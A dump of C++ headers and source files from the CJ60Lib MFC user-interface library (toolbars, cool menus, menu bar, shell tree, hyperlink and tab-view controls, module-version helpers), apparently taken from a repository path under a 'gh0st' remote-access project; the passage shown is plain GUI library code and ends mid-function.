DROPDOWNBUTTON* FindDropDownButton(UINT nID);
// helpers
virtual void InvalidateOldPos(const CRect& rcInvalid);
afx_msg int OnCreate(LPCREATESTRUCT lpcs);
afx_msg void OnTbnDropDown(NMHDR* pNMHDR, LRESULT* pRes);
afx_msg void OnWindowPosChanging(LPWINDOWPOS lpWndPos);
afx_msg void OnWindowPosChanged(LPWINDOWPOS lpWndPos);
afx_msg void OnNcCalcSize(BOOL bCalc, NCCALCSIZE_PARAMS* pncp );
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg BOOL OnNcCreate(LPCREATESTRUCT lpcs);
afx_msg void OnPaint();
DECLARE_MESSAGE_MAP()
DECLARE_DYNAMIC(CFlatToolBar)
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/FlatBar.h | C++ | asf20 | 7,909 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __FIXTB_H
#define __FIXTB_H
//////////////////
// This class fixes the sizing bugs in MFC that calculates the
// size of toolbars incorrectly for modern toobars (comctl32 version >= 4.71)
// It also contains a number of wrappers for function that CToolBar doesn't
// have (so you don't have to use GetToolBarCtrl).
//
// Generally, you should use CFlatToolBar instead of CFixMFCToolBar (even
// if you're not using the flat style), but you can use CFixMFCToolBar if
// all you want is the sizing fix for MFC tooblars.
//
class AFX_EXT_CLASS CFixMFCToolBar : public CToolBar {
public:
CFixMFCToolBar();
virtual ~CFixMFCToolBar();
static int iVerComCtl32; // version of commctl32.dll (eg 471)
// There is a bug in comctl32.dll, version 4.71+ that causes it to
// draw vertical separators in addition to horizontal ones, when the
// toolbar is vertically docked. If the toolbar has no dropdown buttons,
// this is not a problem because the separators are ignored when calculating
// the width of the toolbar. If, however, you have dropdown buttons, then the
// width of a vertically docked toolbar will be too narrow to show the
// dropdown arrow. This is in fact what happens in Visual Studio. If you
// want to show the dropdown arrow when vertical, set this to TRUE
// (default = FALSE)
//
BOOL m_bShowDropdownArrowWhenVertical;
virtual CSize CalcFixedLayout(BOOL bStretch, BOOL bHorz);
virtual CSize CalcDynamicLayout(int nLength, DWORD nMode);
CSize CalcLayout(DWORD nMode, int nLength = -1);
CSize CalcSize(TBBUTTON* pData, int nCount);
int WrapToolBar(TBBUTTON* pData, int nCount, int nWidth);
void SizeToolBar(TBBUTTON* pData, int nCount, int nLength,
BOOL bVert = FALSE);
virtual void OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle);
virtual CSize GetButtonSize(TBBUTTON* pData, int iButton);
// MFC has versions of these that are protected--but why?
//
void GetButton(int nIndex, TBBUTTON* pButton) const;
void SetButton(int nIndex, TBBUTTON* pButton);
protected:
LRESULT OnSizeHelper(CSize& sz, LPARAM lp);
afx_msg LRESULT OnSetBitmapSize(WPARAM, LPARAM);
afx_msg LRESULT OnSetButtonSize(WPARAM, LPARAM);
afx_msg LRESULT OnSettingChange(WPARAM, LPARAM);
DECLARE_MESSAGE_MAP()
DECLARE_DYNAMIC(CFixMFCToolBar)
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/FixTB.h | C++ | asf20 | 2,540 |
////////////////////////////////////////////////////////////////
// Copyright 1999 Takehiko Mizoguti
// If this code works, it was written by Takehiko Mizoguti.
// If not, I don't know who wrote it.
//
// CCJFrameInfo implements FrameWindow Info for CCJFrameWnd Families.
//
#ifndef __CJFRAMEINFO_H__
#define __CJFRAMEINFO_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
class AFX_EXT_CLASS CCJFrameInfo : public WINDOWPLACEMENT
{
// Construction
public:
CCJFrameInfo();
// Attributes
protected:
CFrameWnd* m_pFrameWnd;
CString m_strSection;
CString m_strEntry;
// Operations
public:
void EnableRestorePlacement( CFrameWnd* pFrame, CString strSection, CString strEntry );
void LoadFramePlacement();
void SaveFramePlacement();
// Implementation
public:
virtual ~CCJFrameInfo();
};
#endif // __CLFRAMEINFO_H__ | 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/CJFrameInfo.h | C++ | asf20 | 881 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __MENUBAR_H
#define __MENUBAR_H
#include "subclass.h"
#include "CJToolBar.h"
//////////////////
// CMenuBar uses this private class to intercept messages on behalf
// of its owning frame, as well as the MDI client window. Conceptually,
// these should be two different hooks, but I want to save code.
//
class CMenuBarFrameHook : public CSubclassWnd {
protected:
friend class CMenuBar;
CMenuBar* m_pMenuBar;
CMenuBarFrameHook();
~CMenuBarFrameHook();
BOOL Install(CMenuBar* pMenuBar, HWND hWndToHook);
virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp);
};
//////////////////
// CMenuBar implements an Office 97-style menu bar. Use it the way you would
// a CToolBar, only you need not call LoadToolbar. All you have to do is
//
// * Create the CMenuBar from your OnCreate or OnCreateBands handler.
//
// * Call LoadMenu to load a menu. This will set your frame's menu to NULL.
//
// * Implemenent your frame's PreTranslateMessage function, to call
// CMenuBar::TranslateFrameMessage.
//
class AFX_EXT_CLASS CMenuBar : public CCJToolBar {
public:
BOOL m_bAutoRemoveFrameMenu; // set frame's menu to NULL
CMenuBar();
~CMenuBar();
// You must call this from your frame's PreTranslateMessage fn
virtual BOOL TranslateFrameMessage(MSG* pMsg);
HMENU LoadMenu(HMENU hmenu); // load menu
HMENU LoadMenu(LPCSTR lpszMenuName); // ...from resource file
HMENU LoadMenu(UINT nID) {
return LoadMenu(MAKEINTRESOURCE(nID));
}
HMENU GetMenu() { return m_hmenu; } // get current menu
enum TRACKINGSTATE { // menubar has three states:
TRACK_NONE = 0, // * normal, not tracking anything
TRACK_BUTTON, // * tracking buttons (F10/Alt mode)
TRACK_POPUP // * tracking popups
};
TRACKINGSTATE GetTrackingState(int& iPopup) {
iPopup = m_iPopupTracking; return m_iTrackingState;
}
static BOOL bTRACE; // set TRUE to see TRACE msgs
protected:
friend class CMenuBarFrameHook;
CMenuBarFrameHook m_frameHook; // hooks frame window messages
CStringArray m_arStrings; // array of menu item names
HMENU m_hmenu; // the menu
// menu tracking stuff:
int m_iPopupTracking; // which popup I'm tracking if any
int m_iNewPopup; // next menu to track
BOOL m_bProcessRightArrow; // process l/r arrow keys?
BOOL m_bProcessLeftArrow; // ...
BOOL m_bEscapeWasPressed; // user pressed escape to exit menu
CPoint m_ptMouse; // mouse location when tracking popup
HMENU m_hMenuTracking; // current popup I'm tracking
TRACKINGSTATE m_iTrackingState; // current tracking state
// helpers
void RecomputeToolbarSize();
void RecomputeMenuLayout();
void UpdateFont();
int GetNextOrPrevButton(int iButton, BOOL bPrev);
void SetTrackingState(TRACKINGSTATE iState, int iButton=-1);
void TrackPopup(int iButton);
void ToggleTrackButtonMode();
void CancelMenuAndTrackNewOne(int iButton);
void OnMenuSelect(HMENU hmenu, UINT nItemID);
CPoint ComputeMenuTrackPoint(const CRect& rcButn, TPMPARAMS& tpm);
BOOL IsValidButton(int iButton) const
{ return 0 <= iButton && iButton < GetButtonCount(); }
virtual BOOL OnMenuInput(MSG& m); // handle popup menu input
// overrides
virtual void OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle);
int HitTest(CPoint p) const;
// command/message handlers
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnUpdateMenuButton(CCmdUI* pCmdUI);
afx_msg LRESULT OnSetMenuNull(WPARAM wp, LPARAM lp);
static LRESULT CALLBACK MenuInputFilter(int code, WPARAM wp, LPARAM lp);
DECLARE_DYNAMIC(CMenuBar)
DECLARE_MESSAGE_MAP()
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/MenuBar.h | C++ | asf20 | 4,203 |
#ifndef __SHELLPIDL_H__
#define __SHELLPIDL_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
// ShellPidl.h : header file
//
#include <shlobj.h>
/////////////////////////////////////////////////////////////////////////////
// CShellPidl window
//
// This source is part of CShellTree - Selom Ofori
//
// Version: 1.02 (any previously unversioned copies are older/inferior
//
// This code is free for all to use. Mutatilate it as much as you want
// See MFCENUM sample from microsoft
class AFX_EXT_CLASS CShellPidl
{
public:
// STRUCTURES
typedef struct tagLVID
{
LPSHELLFOLDER lpsfParent;
LPITEMIDLIST lpi;
ULONG ulAttribs;
} LVITEMDATA, *LPLVITEMDATA;
typedef struct tagID
{
LPSHELLFOLDER lpsfParent;
LPITEMIDLIST lpi;
LPITEMIDLIST lpifq;
} TVITEMDATA, *LPTVITEMDATA;
public:
// Functions that deal with PIDLs
LPITEMIDLIST ConcatPidls(LPCITEMIDLIST pidl1, LPCITEMIDLIST pidl2);
LPITEMIDLIST GetFullyQualPidl(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi);
LPITEMIDLIST CopyITEMID(LPMALLOC lpMalloc, LPITEMIDLIST lpi);
BOOL GetName(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi, DWORD dwFlags, LPSTR lpFriendlyName);
LPITEMIDLIST CreatePidl(UINT cbSize);
UINT GetSize(LPCITEMIDLIST pidl);
LPITEMIDLIST Next(LPCITEMIDLIST pidl);
// Utility Functions
BOOL DoTheMenuThing(HWND hwnd, LPSHELLFOLDER lpsfParent, LPITEMIDLIST lpi, LPPOINT lppt);
int GetItemIcon(LPITEMIDLIST lpi, UINT uFlags);
};
#endif // __SHELLTREE_H__
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/ShellPidl.h | C++ | asf20 | 1,552 |
#ifndef __SHELLTREE_H__
#define __SHELLTREE_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
// ShellTree.h : header file
//
#include <shlobj.h>
#include <Shlwapi.h>
#pragma comment(lib,"Shlwapi.lib")
#include "ShellPidl.h"
/////////////////////////////////////////////////////////////////////////////
// CShellTree window
//
// This source is part of CShellTree - Selom Ofori
//
// Version: 1.02 (any previously unversioned copies are older/inferior
//
// This code is free for all to use. Mutatilate it as much as you want
// See MFCENUM sample from microsoft
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.01 24 Feb 1999 - Overloaded PopulateTree(LPCTSTR lpPath) in the
// class CShellTree to fill the tree based upon
// path. Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp]
// ==========================================================================
/////////////////////////////////////////////////////////////////////////////
class AFX_EXT_CLASS CShellTree : public CTreeCtrl, public CShellPidl
{
public:
enum FindAttribs{type_drive,type_folder};
// Construction
public:
CShellTree();
// Attributes
public:
BOOL m_bOutaHere;
// Operations
public:
void PopulateTree(LPCTSTR lpPath);
void PopulateTree();
void PopulateTree(int nFolder);
void OnFolderExpanding(NMHDR* pNMHDR, LRESULT* pResult);
void GetContextMenu(NMHDR* pNMHDR, LRESULT* pResult);
BOOL OnFolderSelected(NMHDR* pNMHDR, LRESULT* pResult, CString &szFolderPath);
void OnDeleteShellItem(NMHDR* pNMHDR, LRESULT* pResult);
void EnableImages();
BOOL GetSelectedFolderPath(CString &szFolderPath);
bool SearchTree(HTREEITEM treeNode, CString szSearchName, FindAttribs attr);
void TunnelTree(CString szFindPath);
LPSHELLFOLDER GetParentShellFolder(HTREEITEM folderNode);
LPITEMIDLIST GetRelativeIDLIST(HTREEITEM folderNode);
LPITEMIDLIST GetFullyQualifiedID(HTREEITEM folderNode);
void FindTreePidl( HTREEITEM nextNode,
HTREEITEM& folderNode,
LPLVITEMDATA lplvid,
bool& valid);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CShellTree)
//}}AFX_VIRTUAL
// Implementation
public:
virtual ~CShellTree();
// Generated message map functions
protected:
void FillTreeView(LPSHELLFOLDER lpsf, LPITEMIDLIST lpifq, HTREEITEM hParent);
void GetNormalAndSelectedIcons(LPITEMIDLIST lpifq, LPTV_ITEM lptvitem);
static int CALLBACK TreeViewCompareProc(LPARAM, LPARAM, LPARAM);
//{{AFX_MSG(CShellTree)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio will insert additional declarations immediately before the previous line.
#endif // __SHELLTREE_H__
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/ShellTree.h | C++ | asf20 | 3,005 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef _SUBCLASSW_H
#define _SUBCLASSW_H
//////////////////
// Generic class to hook messages on behalf of a CWnd.
// Once hooked, all messages go to CSubclassWnd::WindowProc before going
// to the window. Specific subclasses can trap messages and do something.
//
// To use:
//
// * Derive a class from CSubclassWnd.
//
// * Override CSubclassWnd::WindowProc to handle messages. Make sure you call
// CSubclassWnd::WindowProc if you don't handle the message, or your
// window will never get messages. If you write seperate message handlers,
// you can call Default() to pass the message to the window.
//
// * Instantiate your derived class somewhere and call HookWindow(pWnd)
// to hook your window, AFTER it has been created.
// To unhook, call HookWindow(NULL).
//
// This is a very important class, crucial to many of the widgets Window
// widgets implemented in PixieLib. To see how it works, look at the HOOK
// sample program.
//
class CSubclassWnd : public CObject {
public:
DECLARE_DYNAMIC(CSubclassWnd);
CSubclassWnd();
~CSubclassWnd();
// Subclass a window. Hook(NULL) to unhook (automatic on WM_NCDESTROY)
BOOL HookWindow(HWND hwnd);
BOOL HookWindow(CWnd* pWnd) { return HookWindow(pWnd->GetSafeHwnd()); }
BOOL IsHooked() { return m_hWnd!=NULL; }
friend LRESULT CALLBACK HookWndProc(HWND, UINT, WPARAM, LPARAM);
friend class CSubclassWndMap;
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected:
HWND m_hWnd; // the window hooked
WNDPROC m_pOldWndProc; // ..and original window proc
CSubclassWnd* m_pNext; // next in chain of hooks for this window
// Override this to handle messages in specific handlers
virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp);
LRESULT Default(); // call this at the end of handler fns
};
#endif // _SUBCLASSW_H
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/Subclass.h | C++ | asf20 | 2,129 |
////////////////////////////////////////////////////////////////
// 199 Microsoft Systems Journal.
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.01 13 Aug 1998 - Andrew Bancroft [ABancroft@lgc.com] - Since we've already
// added the entire toolbar to the imagelist we need to
// increment nNextImage even if we didn't add this button to
// m_mapIDtoImage in the LoadToolbar() method.
// 1.01a 13 Aug 1998 - Peter Tewkesbury - Added AddSingleBitmap(...)
// method for adding a single bitmap to a pulldown
// menu item.
// 1.02 13 Aug 1998 - Omar L Francisco - Fixed bug with lpds->CtlType
// and lpds->itemData item checking.
// 1.03 12 Nov 1998 - Fixes debug assert in system menu. - Wang Jun
// 1.04 17 Nov 1998 - Fixes debug assert when you maximize a view - Wang Jun
// window, then try to use the system menu for the view.
// 1.05 09 Jan 1998 - Seain B. Conover [sc@tarasoft.com] - Fix for virtual
// key names.
// 1.06 24 Feb 1999 - Michael Lange [michael.home@topdogg.com] - Fix for memory
// leak in CMyItemData structure, added a destructor that
// calls text.Empty().
// - Boris Kartamishev [kbv@omegasoftware.com] - Fix for resource
// ID bug.
// - Jeremy Horgan [jeremyhorgan@hotmail.com] - During
// accelerator key processing OnInitMenuPopup() calls
// ConvertMenu() which allocates a new CMyItemData for each
// menu item. This is memory is normally freed by a call to
// OnMenuSelect(), which is not called when processing
// accelerator keys. This results in a memory leak. This was
// fixed by modifying the ~CCoolMenuManager() destructor.
// 1.07 24 Feb 1999 - Koji MATSUNAMI [kmatsu@inse.co.jp] - Fixed problem with
// popup menus being drawn correctly as cool menus.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#ifndef __COOLMENU_H__
#define __COOLMENU_H__
#include "SubClass.h"
//////////////////
// CCoolMenuManager implements "cool" menus with buttons in them. To use:
//
// * Instantiate in your CMainFrame.
// * Call Install to install it
// * Call LoadToolbars or LoadToolbar to load toolbars
//
// Don't forget to link with CoolMenu.cpp, Subclass.cpp and DrawTool.cpp!
//
class AFX_EXT_CLASS CCoolMenuManager : private CSubclassWnd {
public:
DECLARE_DYNAMIC(CCoolMenuManager)
CCoolMenuManager();
~CCoolMenuManager();
// You can set these any time
BOOL m_bShowButtons; // use to control whether buttons are shown
BOOL m_bAutoAccel; // generate auto accelerators
BOOL m_bUseDrawState; // use ::DrawState for disabled buttons
BOOL m_bDrawDisabledButtonsInColor; // draw disabled buttons in color
// (only if m_bUseDrawState = FALSE)
// public functions to use
void Install(CFrameWnd* pFrame); // connect to main frame
BOOL LoadToolbars(const UINT* arIDs, int n); // load multiple toolbars
BOOL LoadToolbar(UINT nID); // load one toolbar
BOOL AddSingleBitmap(UINT nBitmapID, UINT n, UINT *nID);
// should never need to call:
virtual void Destroy(); // destroys everything--to re-load new toolbars?
virtual void Refresh(); // called when system colors, etc change
static HBITMAP GetMFCDotBitmap(); // get..
static void FixMFCDotBitmap(); // and fix MFC's dot bitmap
static BOOL bTRACE; // Set TRUE to see extra diagnostics in DEBUG code
protected:
CFrameWnd* m_pFrame; // frame window I belong to
CUIntArray m_arToolbarID; // array of toolbar IDs loaded
CImageList m_ilButtons; // image list for all buttons
CMapWordToPtr m_mapIDtoImage;// maps command ID -> image list index
CMapWordToPtr m_mapIDtoAccel;// maps command ID -> ACCEL*
HACCEL m_hAccel; // current accelerators, if any
ACCEL* m_pAccel; // ..and table in memory
CPtrList m_menuList; // list of HMENU's initialized
CSize m_szBitmap; // size of button bitmap
CSize m_szButton; // size of button (including shadow)
CFont m_fontMenu; // menu font
// helpers
void DestroyAccel();
void DrawMenuText(CDC& dc, CRect rc, CString text, COLORREF color);
BOOL Draw3DCheckmark(CDC& dc, const CRect& rc, BOOL bSelected,
HBITMAP hbmCheck=NULL);
void ConvertMenu(CMenu* pMenu,UINT nIndex,BOOL bSysMenu,BOOL bShowButtons);
void LoadAccel(HACCEL hAccel);
CString GetVirtualKeyName( const CString strVirtKey ) const;
BOOL AppendAccelName(CString& sItemName, UINT nID);
CFont* GetMenuFont();
// Get button index for given command ID, or -1 if not found
int GetButtonIndex(WORD nID) {
void* val;
return m_mapIDtoImage.Lookup(nID, val) ? (int)val : -1;
}
// Get ACCEL structure associated with a given command ID
ACCEL* GetAccel(WORD nID) {
void* val;
return m_mapIDtoAccel.Lookup(nID, val) ? (ACCEL*)val : NULL;
}
// window proc to hook frame using CSubclassWnd implementation
virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp);
// CSubclassWnd message handlers
virtual void OnInitMenuPopup(CMenu* pMenu, UINT nIndex, BOOL bSysMenu);
virtual BOOL OnMeasureItem(LPMEASUREITEMSTRUCT lpms);
virtual BOOL OnDrawItem(LPDRAWITEMSTRUCT lpds);
virtual LONG OnMenuChar(UINT nChar, UINT nFlags, CMenu* pMenu);
virtual void OnMenuSelect(UINT nItemID, UINT nFlags, HMENU hSysMenu);
};
//////////////////
// Friendly version of MENUITEMINFO initializes itself
//
struct CMenuItemInfo : public MENUITEMINFO {
CMenuItemInfo()
{ memset(this, 0, sizeof(MENUITEMINFO));
cbSize = sizeof(MENUITEMINFO);
}
};
#endif // __COOLMENU_H__ | 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/CoolMenu.h | C++ | asf20 | 6,000 |
// HyperLink.h : header file
//
//
// HyperLink static control. Will open the default browser with the given URL
// when the user clicks on the link.
//
// Copyright Chris Maunder, 1997
// Feel free to use and distribute. May not be sold for profit.
#ifndef __HYPERLINK_H__
#define __HYPERLINK_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
/////////////////////////////////////////////////////////////////////////////
// CHyperLink window
class AFX_EXT_CLASS CHyperLink : public CStatic
{
// Construction/destruction
public:
CHyperLink();
virtual ~CHyperLink();
// Attributes
public:
// Operations
public:
void SetURL(CString strURL);
CString GetURL() const;
void SetColours(COLORREF crLinkColour, COLORREF crVisitedColour,
COLORREF crHoverColour = -1);
COLORREF GetLinkColour() const;
COLORREF GetVisitedColour() const;
COLORREF GetHoverColour() const;
void SetVisited(BOOL bVisited = TRUE);
BOOL GetVisited() const;
void SetLinkCursor(HCURSOR hCursor);
HCURSOR GetLinkCursor() const;
void SetUnderline(BOOL bUnderline = TRUE);
BOOL GetUnderline() const;
void SetAutoSize(BOOL bAutoSize = TRUE);
BOOL GetAutoSize() const;
HINSTANCE GotoURL(LPCTSTR url, int showcmd);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CHyperLink)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void PreSubclassWindow();
//}}AFX_VIRTUAL
// Implementation
protected:
void ReportError(int nError);
LONG GetRegKey(HKEY key, LPCTSTR subkey, LPTSTR retdata);
void PositionWindow();
void SetDefaultCursor();
// Protected attributes
protected:
COLORREF m_crLinkColour, m_crVisitedColour; // Hyperlink colours
COLORREF m_crHoverColour; // Hover colour
BOOL m_bOverControl; // cursor over control?
BOOL m_bVisited; // Has it been visited?
BOOL m_bUnderline; // underline hyperlink?
BOOL m_bAdjustToFit; // Adjust window size to fit text?
CString m_strURL; // hyperlink URL
CFont m_Font; // Underline font if necessary
HCURSOR m_hLinkCursor; // Cursor for hyperlink
CToolTipCtrl m_ToolTip; // The tooltip
// Generated message map functions
protected:
//{{AFX_MSG(CHyperLink)
afx_msg HBRUSH CtlColor(CDC* pDC, UINT nCtlColor);
afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
//}}AFX_MSG
afx_msg void OnClicked();
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio will insert additional declarations immediately before the previous line.
#endif // __HYPERLINK_H__
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/hyperlink.h | C++ | asf20 | 3,170 |
#ifndef __CJTABVIEW_H__
#define __CJTABVIEW_H__
////////////////////////////////////////////////////////////////
// Copyright 1999 Mike Manzo
// Class: CCJTabView
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 14 Feb 1999 - Initial release.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// CJTabView.h : header file
//
typedef struct
{
CWnd *pWnd;
char szLabel[32];
}CTV_ITEM;
#define TABVIEW_BORDER 3
typedef CList <CTV_ITEM*, CTV_ITEM *> CListViews;
/////////////////////////////////////////////////////////////////////////////
// CCJTabView window
class AFX_EXT_CLASS CCJTabView : public CCtrlView
{
// Construction
protected:
CCJTabView();
DECLARE_DYNCREATE(CCJTabView)
// Attributes
public:
// Operations
public:
BOOL AddView(LPCTSTR lpszLabel, CRuntimeClass *pViewClass, CDocument* pDoc = NULL, CCreateContext *pContext = NULL);
BOOL ModifyTabStyle(DWORD dwRemove, DWORD dwAdd, UINT nFlags=0);
void SetActiveView(CRuntimeClass *pViewClass);
void SetActiveView(int nNewTab);
void RemoveView(int nView);
CView* GetView(CRuntimeClass *pViewClass);
CView* GetView(int nView);
CView* GetActiveView();
CImageList* SetTabImageList(CImageList *pImageList);
CTabCtrl* GetTabCtrl() {return m_pTabCtrl;}
protected:
CView* m_pActiveView;
int m_nActiveTab;
CTabCtrl* m_pTabCtrl;
CToolTipCtrl* m_pToolTip;
CFont m_TabFont;
CListViews m_views;
private:
void CalcViewRect(CRect* pRect);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CCJTabView)
public:
virtual void OnInitialUpdate();
//}}AFX_VIRTUAL
public:
virtual void GetChildRect(CRect &rect);
// Implementation
public:
virtual ~CCJTabView();
// Generated message map functions
protected:
//{{AFX_MSG(CCJTabView)
afx_msg void OnWindowPosChanged(WINDOWPOS FAR* lpwndpos);
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnSelchange(NMHDR* pNMHDR, LRESULT* pResult);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // __CJTABVIEW_H__
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/CJTabView.h | C++ | asf20 | 2,610 |
////////////////////////////////////////////////////////////////
// 1998 Microsoft Systems Journal
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CModuleVersion provides an easy way to get version info
// for a module.(DLL or EXE).
//
#include "StdAfx.h"
#include "ModulVer.h"
CModuleVersion::CModuleVersion()
{
m_pVersionInfo = NULL; // raw version info data
}
//////////////////
// Destroy: delete version info
//
CModuleVersion::~CModuleVersion()
{
delete [] m_pVersionInfo;
}
//////////////////
// Get file version info for a given module
// Allocates storage for all info, fills "this" with
// VS_FIXEDFILEINFO, and sets codepage.
//
BOOL CModuleVersion::GetFileVersionInfo(LPCTSTR modulename)
{
m_translation.charset = 1252; // default = ANSI code page
memset((VS_FIXEDFILEINFO*)this, 0, sizeof(VS_FIXEDFILEINFO));
CLoadLibrary lib(modulename);
// get module handle
TCHAR filename[_MAX_PATH];
HMODULE hModule = ::GetModuleHandle(modulename);
if (hModule==NULL && modulename!=NULL)
return FALSE;
// get module file name
DWORD len = GetModuleFileName(hModule, filename,
sizeof(filename)/sizeof(filename[0]));
if (len <= 0)
return FALSE;
// read file version info
DWORD dwDummyHandle; // will always be set to zero
len = GetFileVersionInfoSize(filename, &dwDummyHandle);
if (len <= 0)
return FALSE;
if (m_pVersionInfo)
delete m_pVersionInfo;
m_pVersionInfo = new BYTE[len]; // allocate version info
if (!::GetFileVersionInfo(filename, 0, len, m_pVersionInfo))
return FALSE;
LPVOID lpvi;
UINT iLen;
if (!VerQueryValue(m_pVersionInfo, _T("\\"), &lpvi, &iLen))
return FALSE;
// copy fixed info to myself, which am derived from VS_FIXEDFILEINFO
*(VS_FIXEDFILEINFO*)this = *(VS_FIXEDFILEINFO*)lpvi;
// Get translation info
// Note: VerQueryValue could return a value > 4, in which case
// mulitple languages are supported and VerQueryValue returns an
// array of langID/codepage pairs and you have to decide which to use.
if (VerQueryValue(m_pVersionInfo,
_T("\\VarFileInfo\\Translation"), &lpvi, &iLen) && iLen >= 4) {
m_translation = *(TRANSLATION*)lpvi;
TRACE(_T("code page = %d\n"), m_translation.charset);
}
return dwSignature == VS_FFI_SIGNATURE;
}
//////////////////
// Get string file info.
// Key name is something like "CompanyName".
// returns the value as a CString.
//
CString CModuleVersion::GetValue(LPCTSTR lpKeyName)
{
CString sVal;
if (m_pVersionInfo) {
// To get a string value must pass query in the form
//
// "\StringFileInfo\<langID><codepage>\keyname"
//
// where <lang-codepage> is the languageID concatenated with the
// code page, in hex. Wow.
//
CString query;
query.Format(_T("\\StringFileInfo\\%04x%04x\\%s"),
m_translation.langID,
m_translation.charset,
lpKeyName);
LPCTSTR pVal;
UINT iLenVal;
if (VerQueryValue(m_pVersionInfo, (LPTSTR)(LPCTSTR)query,
(LPVOID*)&pVal, &iLenVal)) {
sVal = pVal;
}
}
return sVal;
}
// typedef for DllGetVersion proc
typedef HRESULT (CALLBACK* DLLGETVERSIONPROC)(DLLVERSIONINFO *);
/////////////////
// Get DLL Version by calling DLL's DllGetVersion proc
//
BOOL CModuleVersion::DllGetVersion(LPCTSTR modulename, DLLVERSIONINFO& dvi)
{
CLoadLibrary lib(modulename);
if (!lib)
return FALSE;
// Must use GetProcAddress because the DLL might not implement
// DllGetVersion. Depending upon the DLL, the lack of implementation of the
// function may be a version marker in itself.
//
DLLGETVERSIONPROC pDllGetVersion =
(DLLGETVERSIONPROC)GetProcAddress(lib, _T("DllGetVersion"));
if (!pDllGetVersion)
return FALSE;
memset(&dvi, 0, sizeof(dvi)); // clear
dvi.cbSize = sizeof(dvi); // set size for Windows
return SUCCEEDED((*pDllGetVersion)(&dvi));
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/ModulVer.cpp | C++ | asf20 | 3,950 |
#include "stdafx.h"
#include "ShellPidl.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
///////////////////////////////////////////////////////////////////////
//
// This source is part of CShellTree - Selom Ofori
//
// Version: 1.02 (any previously unversioned copies are older/inferior
//
// This code is free for all to use. Mutatilate it as much as you want
// See MFCENUM sample from microsoft
//
// FUNCTIONS THAT DEAL WITH PIDLs
//
/****************************************************************************
*
* FUNCTION: Next(LPCITEMIDLIST pidl)
*
* PURPOSE: Gets the next PIDL in the list
*
****************************************************************************/
LPITEMIDLIST CShellPidl::Next(LPCITEMIDLIST pidl)
{
LPSTR lpMem=(LPSTR)pidl;
lpMem+=pidl->mkid.cb;
return (LPITEMIDLIST)lpMem;
}
/****************************************************************************
*
* FUNCTION: GetSize(LPCITEMIDLIST pidl)
*
* PURPOSE: Gets the size of the PIDL
*
****************************************************************************/
UINT CShellPidl::GetSize(LPCITEMIDLIST pidl)
{
UINT cbTotal = 0;
if (pidl)
{
